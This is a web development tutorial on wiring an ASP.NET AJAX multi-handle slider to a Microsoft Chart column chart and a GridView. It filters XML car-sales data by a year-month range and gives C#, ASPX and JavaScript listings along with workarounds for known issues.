For simplification's sake, I use XML as Data Source in this tutorial. There are two XML file in the App_Data folder namely CarsList.xml and SliderRange.xml. The former file contains all the data in the table that is shown in figure 3. The latter xml file hold the result set shown in figure 4. Create two custom entity classes named CarsList and Range to hold the public properties. See listing 1.

Listing 1

public class CarsList
{
    public CarsList(){}
    public int CarCount { get; set; }
    public int YearMonth { get; set; }
    public string CarBrand { get; set; }
    public string Date { get; set; }
}
public class Range
{
    public Range(){}
    public string Year { get; set; }
    public string Month { get; set; }
    public int RowNumber { get; set; }
}

Let start by adding a Script Manager on to the page and set the EnablePageMethods and EnablePartialRendering properties to true. By setting the EnablePageMethods property to true, the client script can access the static page methods in an ASP.NET page. The EnablePartialRendering property allows us to specify only the region of the page to be refreshed. Next, drag a TextBox, MultiHandleSliderExtender, four HiddenField and two Label controls on to the page and wrap it inside an UpdatePanel. Set the TargetControlID of the MultiHandleSliderExtender control to the ID of the TextBox control. Add two handles to the control and set its ControlID to rangeStart and rangeEnd respectively. See listing 2. The purpose of the Label controls is to display the selected range values. The HiddenField controls are used to hold the handles' values. Initialize the MultiHandleSliderExtender with the setting shown below.

  • OnClientDrag= Drag, The event raised when the user drags the handle.
  • OnClientDragEnd = DragEnd, The event raised when the user stops dragging the handle.
  • Increment = 1, determines the number of points to increment or decrement the slider values.
  • RaiseChangeOnlyOnMouseUp = true, fires the change event on the extended TextBox only when the left mouse button is released.
  • EnableRailClick = false

Listing 2

<asp:ScriptManager ID="ScriptManager1" runat="server" EnablePageMethods="true" EnablePartialRendering="true" /> 
    <div>
    <asp:UpdatePanel ID="UpdatePanel2" runat="server">
<ContentTemplate>
<table>
    <tr><td colspan="2">
       <asp:TextBox ID="txtSlider" runat="server"></asp:TextBox>  
    
    <cc1:MultiHandleSliderExtender ID="MultiHandleSliderExtender1" runat="server" ShowHandleDragStyle="true"
    BehaviorID="mhSlider" TargetControlID="txtSlider" Length="500" ShowInnerRail="true"
        EnableMouseWheel="false" Increment="1" 
        RaiseChangeOnlyOnMouseUp="true" EnableRailClick="false"
       OnClientDragEnd="DragEnd" OnClientDrag="Drag" 
        ShowHandleHoverStyle="true" Maximum="222" Minimum="1">
        <MultiHandleSliderTargets>
         <cc1:MultiHandleSliderTarget ControlID="rangeStart" />
            <cc1:MultiHandleSliderTarget ControlID="rangeEnd" />
        </MultiHandleSliderTargets>  
   </cc1:MultiHandleSliderExtender>
   <br />
   </td></tr>
   <tr>
   <td><asp:Label ID="lblStartRange" runat="server" Text=""></asp:Label></td>
   <td><asp:Label ID="lblEndRange" runat="server" Text=""></asp:Label> </td>
   </tr>  
    <tr><td>
    <asp:HiddenField ID="rangeEnd" Value="10" runat="server" />
    <asp:HiddenField ID="rangeStart" Value="1" runat="server" />
     <asp:HiddenField ID="hdfTrackRangeStart" runat="server" Value="0" />
 <asp:HiddenField ID="hdfTrackRangeEnd" runat="server" Value="0" />
    </td></tr>
</table>
</ContentTemplate>            
</asp:UpdatePanel>
</div>

Shown below is the client-side code. Dragging the handle will trigger the ASP.NET page method SliderRange to update the lblStartRange and lblEndRange value. Once the users release the handle, the DragEnd function will be executed.

Listing 3

<script type="text/javascript">
    var isDragging = false;
    function Drag(sender, args) {
        GetSliderRange($get("rangeStart").value, $get("rangeEnd").value);
    }

    function DragEnd(sender, args) {
        //prevent postback on slider click
        if ($get("hdfTrackRangeStart").value !== $get("rangeStart").value) {
             __doPostBack("btnLoadChart", "");
        }
        if ($get("hdfTrackRangeEnd").value !== $get("rangeEnd").value && $get("hdfTrackRangeEnd").value !== '0') {
             __doPostBack("btnLoadChart", "");
        }
    }

    function GetSliderRange(startV, endV) {
        PageMethods.SliderRange(startV, endV, this.callback);
    }

    function callback(result) {
        var arrResult = result.split("--");
        $get("lblStartRange").innerHTML = arrResult[0];
        $get("lblEndRange").innerHTML = arrResult[1];
    }
</script>

Create a generic List<T> of Range objects in the code behind and mark it as static so that is accessible from the client script or other static method. Shown below are the contents in the Page_Load event. The PopulateSlider() method read the contents in the SliderRange.xml file and store it in the lstSliderRange. Initialize the MultiHandleSliderExtender minimum and maximum value to 1 and biggest RowNumber in lstSliderRange respectively. See listing 4.

Listing 4

protected static List<Range> lstSliderRange = null;
protected void Page_Load(object sender, EventArgs e)
    {
	  Chart1.Click += new ImageMapEventHandler(Chart1_Click);
        PopulateSlider();

        if (!Page.IsPostBack)
        {
            //slider min and max value
            MultiHandleSliderExtender1.Minimum = 1;
            MultiHandleSliderExtender1.Maximum = 
			int.Parse(lstSliderRange.Max(r => r.RowNumber).ToString());

            //hidden field
            rangeEnd.Value = MultiHandleSliderExtender1.Maximum.ToString();
            rangeStart.Value = MultiHandleSliderExtender1.Minimum.ToString();

		PopulateChart(int.Parse(rangeStart.Value), int.Parse(rangeEnd.Value));
        }
        SetLabel();
    }

Displayed below is the implementation of PopulateSlider() method. The lstSliderRange object is cached to increase performance and its contents are fetched again when the file contents changes. Depending on how often we update the data source, we can cache it based on the changes in the database, folder, file or time based expiration. Read more about ASP.NET Caching technique from here.

Listing 5

//get slider range
    void PopulateSlider()
    {
        //Cache the frequently used data
        if (Cache["Cache_lstSliderRange"] == null)
        {
            XDocument xmlDoc = XDocument.Load(Server.MapPath(Utilities.Instance.SliderRangeXMLPath));
            lstSliderRange = (from c in xmlDoc.Descendants("Range")
                              select new Range
                              {
                                  Month = (string)c.Attribute("Month"),
                                  Year = (string)c.Attribute("Year"),
                                  RowNumber = (int)c.Attribute("RowNumber")
                              }).ToList();

            Cache.Insert("Cache_lstSliderRange", lstSliderRange,
                new System.Web.Caching.CacheDependency(Server.MapPath(Utilities.Instance.SliderRangeXMLPath)));
        }
        else
        {
            lstSliderRange = Cache["Cache_lstSliderRange"] as List<Range>;
        }
    }

The SetLabel() method display the MultiHandleSliderExtender start and end range values in the lblStartRange and lblStartEnd Label controls. The SliderRange method is decorated with [System.Web.Services.WebMethod] making the method accessible from client-side JavaScript. The GetSliderText method accept two parameters, the first parameter refer to the row number and the second parameter refers to the left or right handle. For instance, calling SliderRange(2, 10) will yield "From Year: 2005 Month:02--To Year: 2005 Month:10". First, it will query the lstSliderRange object and retrieve the Year and Month from the result set. If the pos==s, set the text to From and To if pos==e. See listing 6.

Listing 6

//set the slider start and end label
    void SetLabel()
    {
        string[] arrLabel = SliderRange(rangeStart.Value, rangeEnd.Value).Split("--".ToCharArray());
        lblStartRange.Text = arrLabel[0];
        lblEndRange.Text = arrLabel[2];
    }

    [System.Web.Services.WebMethod]
    public static string SliderRange(string start, string end)
    {
        if (lstSliderRange != null)
        {
            return GetSliderText(start, "s") + "--" + GetSliderText(end, "e");
        }
        else
        {
            return "";
        }
    }

    protected static string GetSliderText(string rn, string pos)
    {
        string strRangeText = string.Empty;
        IEnumerable<Range> rangeText;

        rangeText = lstSliderRange.Where(r => r.RowNumber == int.Parse(rn))
            .Select(r => new Range
            {
                Year = r.Year,
                Month = r.Month
            });

        if (pos == "s")
        {
            strRangeText = "<b>From</b> Year: " + rangeText.First().Year + " Month: " + rangeText.First().Month;
            return strRangeText;
        }
        else
        {
            strRangeText = "<b>To</b> Year: " + rangeText.First().Year + " Month: " + rangeText.First().Month;
            return strRangeText;
        }
    }

At this point, you should see something like below on the browser.

Figure 5
Check point

Chart Control

Make sure to download the Microsoft Chart Controls for Microsoft .NET Framework 3.5 because the Chart controls required System.Web.DataVisualization.Design.dll and System.Web.DataVisualization.dll. I also included both the dlls in the sample code. Some of the codes in this section are from Samples Environment for Chart Controls. First, let create a method to bind the data source to the Column Chart. This method accepts two parameters, start and end range values. Then use LINQ to query the CarsList.xml data source and find all the records where YearMonth between start and end range values. Group the result by car brands, stores it in lstCarsnTotal and bind it to the chart. See listing 7.

Listing 7

void PopulateChart(int start, int end)
    {
        List<CarsList> lstCarsnTotal = new List<CarsList>();

        XDocument xmlDoc = XDocument.Load(Server.MapPath(Utilities.Instance.CarsListXMLPath));
        lstCarsnTotal = (from c in xmlDoc.Descendants("Car")
                         where (int)c.Attribute("YearMonth") >= GetRange(start) && (int)c.Attribute("YearMonth") <= GetRange(end)
                         group c by (string)c.Attribute("CarBrand") into g

                         select new CarsList
                         {
                             CarCount = g.Sum(c => (int)c.Attribute("Count")),
                             CarBrand = g.Key
                         }).ToList();
	  Chart1.Series["Default"].ChartType = SeriesChartType.Column;
        Chart1.Series["Default"].Points.DataBindXY(lstCarsnTotal, "CarBrand", lstCarsnTotal, "CarCount"); 
}

//return YearMonth
    protected static int GetRange(int rn)
    {
        IEnumerable<Range> rangeText;

        rangeText = lstSliderRange.Where(r => r.RowNumber == rn)
            .Select(r => new Range
            {
                Year = r.Year,
                Month = r.Month
            });

        return int.Parse(rangeText.First().Year + rangeText.First().Month);
    }

Now, when the user click on the column chart, a GridView will appears next to it. The PopulateGrid method takes the car brand as an argument. Then use LINQ to query the SliderRange.xml data source where YearMonth between the selected range values and CarBrand equal to the selected car brand. See listing 8.

Listing 8

protected void Chart1_Click(object sender, ImageMapEventArgs e)
    {
        if (!GridView1.Visible)
        {
            GridView1.Visible = true;
        }
        //kept track of selected car type
        ChartPostBackValue.Value = e.PostBackValue;
        lblCarBrand.Text = "Car Brand: " + e.PostBackValue;

        PopulateGrid(e.PostBackValue);
        PopulateChart(int.Parse(rangeStart.Value), int.Parse(rangeEnd.Value));
    }

    void PopulateGrid(string strPostBavkVal)
    {
        List<CarsList> lstCarsnTotal = new List<CarsList>();

        XDocument xmlDoc = XDocument.Load(Server.MapPath(Utilities.Instance.CarsListXMLPath));
        lstCarsnTotal = (from c in xmlDoc.Descendants("Car")
                         where (int)c.Attribute("YearMonth") >= GetRange(int.Parse(rangeStart.Value))
                         && (int)c.Attribute("YearMonth") <= GetRange(int.Parse(rangeEnd.Value)) && (string)c.Attribute("CarBrand") == strPostBavkVal
                         select new CarsList
                         {
                             CarCount = (int)c.Attribute("Count"),
                             CarBrand = (string)c.Attribute("CarBrand"),
                             Date = (string)c.Attribute("Date")
                         }).ToList();

        GridView1.DataSource = lstCarsnTotal;
        GridView1.DataBind();
    }

Known Issue

On design time, we will see the error "MultiHandleSliderExtender could not be set on property MultiHandleSliderTargets" but code work fine at run time. I have downloaded the example and latest version of Ajax Control Toolkit from CodePlex but didn't solve the problem. A workaround is adding the TagPrefix next to the MultiHandleSliderTargets tag during design time and remove it at run time. Hopefully someone can shed some light on this.

Points of Interest

The Default2.aspx in the sample code includes a master page. If you use a master page, make sure to use the Control.ClientID. For some reason the client __doPostBack function do not work with master page, the work around was to call the button click event. See listing 9. Hopefully someone can shed some light on this too.

Listing 9

<script type="text/javascript">
    var isDragging = false;
    function Drag(sender, args) {
        GetSliderRange($get("<%= rangeStart.ClientID %>").value, $get("<%= rangeEnd.ClientID%>").value);
    }
    function DragEnd(sender, args) {
        //prevent postback on slider click
        if ($get("<%= hdfTrackRangeStart.ClientID %>").value !== $get("<%= rangeStart.ClientID %>").value) {
            $get("<%= btnLoadChart.ClientID %>").click();
            //__doPostBack("<%= btnLoadChart.ClientID %>", "");
        }
        if ($get("<%= hdfTrackRangeEnd.ClientID %>").value !== $get("<%= rangeEnd.ClientID %>").value && $get("<%= hdfTrackRangeEnd.ClientID %>").value !== '0') {
            $get("<%= btnLoadChart.ClientID %>").click();
            //__doPostBack("<%= btnLoadChart.ClientID %>", "");
        }
    }

    function GetSliderRange(startV, endV) {
        PageMethods.SliderRange(startV, endV, this.callback);
    }

    function callback(result) {

        var arrResult = result.split("--");

        $get("<%= lblStartRange.ClientID %>").innerHTML = arrResult[0];
        $get("<%= lblEndRange.ClientID %>").innerHTML = arrResult[1];

    }
    </script>

I have noticed that, clicking on the handle will trigger the DragEnd function and cause unnecessary post back. To remedy this problem, compare the old selected range value and the current selected range value, if they are not equal then permit the call of client-side __doPostBack function. See listing 10.

Listing 10

function DragEnd(sender, args) {
        //prevent postback on slider click
        if ($get("hdfTrackRangeStart").value !== $get("rangeStart").value) {
             __doPostBack("btnLoadChart", "");
        }
        if ($get("hdfTrackRangeEnd").value !== $get("rangeEnd").value && $get("hdfTrackRangeEnd").value !== '0') {
             __doPostBack("btnLoadChart", "");
        }
    }

The chart displayed correctly on my local machine but it displayed a sequence of strange characters in the hosting environment. After doing some research, I discovered that I didn't set appropriate permissions on the storage folder and EnableSessionState on the page directive was set to false. The list of ASP.NET Charts storage mode is available here.

New Update 1

Create a client-side Array object named arrRange, loop through each rows in the lstSliderRange object and add the values year and month to it. Place this method inside the !Page.IsPostBack block. See listing 11.

Listing 11

void CreateArray()
    {
        foreach (Range r in lstSliderRange)
        {
            Page.ClientScript.RegisterArrayDeclaration("arrRange", "'"+r.Year +"--" + r.Month+"'");
        }
    }

Instead of using the PageMethods to lookup the RowNumber text, call the client-side GetSliderText function. See listing 12.

Listing 12

function GetSliderRange(startV, endV) {
        $get("<%= lblStartRange.ClientID %>").innerHTML = GetSliderText(arrRange[startV - 1], 's');
        $get("<%= lblEndRange.ClientID %>").innerHTML = GetSliderText(arrRange[endV - 1], 'e');
        // alert(arrRange[startV - 1]);
        // PageMethods.SliderRange(startV, endV, this.callback);
    }

    function GetSliderText(r, p) {
        var arrResult = r.split("--");
        var strText = '';
        if (p === 's') {
            strText = "<b>From</b> Year: " + arrResult[0] + " Month: " + arrResult[1];

        }
        else {
            strText = "<b>To</b> Year: " + arrResult[0] + " Month: " + arrResult[1];
        }
        return strText;
    }

Conclusion

If you find any bugs or disagree with the contents, please drop me a line and I'll work with you to correct it. I would suggest downloading the demo and explore it in order to grasp the full concept of it because I might left out some useful information.

IE, Firefox, Google Chrome, Safari

Resources

ASP.NET Charts - Storage Mode
MultiHandleSlider Demonstration
ScriptManager..::.EnablePageMethods Property
Using Microsoft's Chart Controls In An ASP.NET Application: Rendering the Chart
Working with Client-Side Script

Watch this script in action

Demo

Downloads

Download